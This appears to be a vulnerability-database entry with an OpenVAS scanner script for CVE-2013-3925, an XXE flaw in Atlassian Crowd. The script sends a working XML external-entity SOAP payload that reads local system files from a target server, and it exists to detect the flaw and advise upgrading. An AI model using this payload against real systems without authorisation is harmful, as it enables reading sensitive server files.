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Atlassian Crowd Xml eXternal Entity (XXE) Injection Vulnerability

🗓️ 09 Jul 2013 00:00:00Reported by Copyright (c) 2013 Greenbone Networks GmbHType 
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Atlassian Crowd Xml eXternal Entity (XXE) Injection Vulnerability. This host is running Atlassian Crowd and is prone to xml external entity injection vulnerability. Flaw is due to an incorrectly configured XML parser accepting XML external entities from an untrusted source. Successful exploitation allow remote attackers to gain access to arbitrary files by sending specially crafted XML data

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Code
###############################################################################
# OpenVAS Vulnerability Test
# $Id: gb_atlassian_crowd_xxe_inj_vuln.nasl 5842 2017-04-03 13:15:19Z cfi $
#
# Atlassian Crowd Xml eXternal Entity (XXE) Injection Vulnerability
#
# Authors:
# Thanga Prakash S <[email protected]>
#
# Copyright:
# Copyright (c) 2013 Greenbone Networks GmbH, http://www.greenbone.net
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2
# (or any later version), as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################

tag_impact = "";

if(description)
{
  script_id(803830);
  script_version("$Revision: 5842 $");
  script_cve_id("CVE-2013-3925");
  script_bugtraq_id(60899);
  script_tag(name:"cvss_base", value:"5.8");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:P/I:P/A:N");
  script_tag(name:"last_modification", value:"$Date: 2017-04-03 15:15:19 +0200 (Mon, 03 Apr 2017) $");
  script_tag(name:"creation_date", value:"2013-07-09 15:27:15 +0530 (Tue, 09 Jul 2013)");
  script_name("Atlassian Crowd Xml eXternal Entity (XXE) Injection Vulnerability");

  tag_summary = "This host is running Atlassian Crowd and is prone to xml external
entity injection vulnerability.";

  tag_vuldetect = "Send a crafted data via HTTP POST request and check whether it is able to
read the system file or not.";

  tag_insight = "Flaw is due to an incorrectly configured XML parser accepting XML external
entities from an untrusted source.";

  tag_impact = "Successful exploitation allow remote attackers to gain access to arbitrary
files by sending specially crafted XML data.

  Impact Level: Application";

  tag_affected = "Atlassian Crowd 2.5.x before 2.5.4, 2.6.x before 2.6.3, 2.3.8, and 2.4.9";

  tag_solution = "Upgrade to version 2.5.4, 2.6.3, 2.7 or higher,
For updates refer to http://www.atlassian.com/software/crowd/download";

  script_tag(name : "summary" , value : tag_summary);
  script_tag(name : "vuldetect" , value : tag_vuldetect);
  script_tag(name : "solution" , value : tag_solution);
  script_tag(name : "insight" , value : tag_insight);
  script_tag(name : "affected" , value : tag_affected);
  script_tag(name : "impact" , value : tag_impact);

  script_xref(name : "URL" , value : "https://jira.atlassian.com/browse/CWD-3366");
  script_xref(name : "URL" , value : "http://www.commandfive.com/papers/C5_TA_2013_3925_AtlassianCrowd.pdf");
  script_category(ACT_ATTACK);
  script_tag(name:"qod_type", value:"remote_vul");
  script_copyright("Copyright (c) 2013 Greenbone Networks GmbH");
  script_family("Web application abuses");
  script_require_ports("Services/www", 8095);
  script_dependencies("find_service.nasl", "http_version.nasl", "os_detection.nasl");
  script_exclude_keys("Settings/disable_cgi_scanning");

  exit(0);
}

include("misc_func.inc");
include("http_func.inc");
include("host_details.inc");
include("http_keepalive.inc");

## Variable Initialization
port = "";
req = "";
res = "";
url = "";

port = get_http_port(default:8095);

files = traversal_files();

host = http_host_name( port:port );

## Send and Receive the response
req = http_get(item:"/crowd/console/login.action",  port:port);
res = http_keepalive_send_recv(port:port, data:req, bodyonly:TRUE);

if("Atlassian<" >< res && "Crowd Console<" >< res)
{

  url = '/crowd/services/2/';
  req = http_get(item:url,  port:port);
  res = http_keepalive_send_recv(port:port, data:req, bodyonly:TRUE);

  if("Invalid SOAP request" >< res)
  {
    entity =  rand_str(length:8,charset:"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ");

    foreach file (keys(files))
    {
      soap = '<!DOCTYPE x [ <!ENTITY '+ entity +' SYSTEM "file:///'+ files[file] +'"> ]>'+
             '<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">'+
             '<s:Body>'+
             '<authenticateApplication xmlns="urn:SecurityServer">'+
             '<in0 '+
             'xmlns:a="http://authentication.integration.crowd.atlassian.com" '+
             'xmlns:i="http://www.w3.org/2001/XMLSchema-instance">'+
             '<a:credential>'+
             '<a:credential>password</a:credential>'+
             '<a:encryptedCredential>&'+ entity +';</a:encryptedCredential>'+
             '</a:credential>'+
             '<a:name>username</a:name>'+
             '<a:validationFactors i:nil="true"/>'+
             '</in0>'+
             '</authenticateApplication>'+
             '</s:Body>'+
             '</s:Envelope>';

      len = strlen(soap);

      req = string("POST ",url," HTTP/1.1\r\n",
               "Host: ", host,"\r\n",
               "User-Agent: ", OPENVAS_HTTP_USER_AGENT,"\r\n",
               "SOAPAction: ",'""',"\r\n",
               "Content-Type: text/xml; charset=UTF-8\r\n",
               "Content-Length: ", len,"\r\n",
               "\r\n",
               soap);

      result = http_keepalive_send_recv(port:port, data:req, bodyonly:FALSE);
      if(egrep(pattern:file, string:result))
      {
        security_message(port:port);
        exit(0);
      }
    }
  }
}

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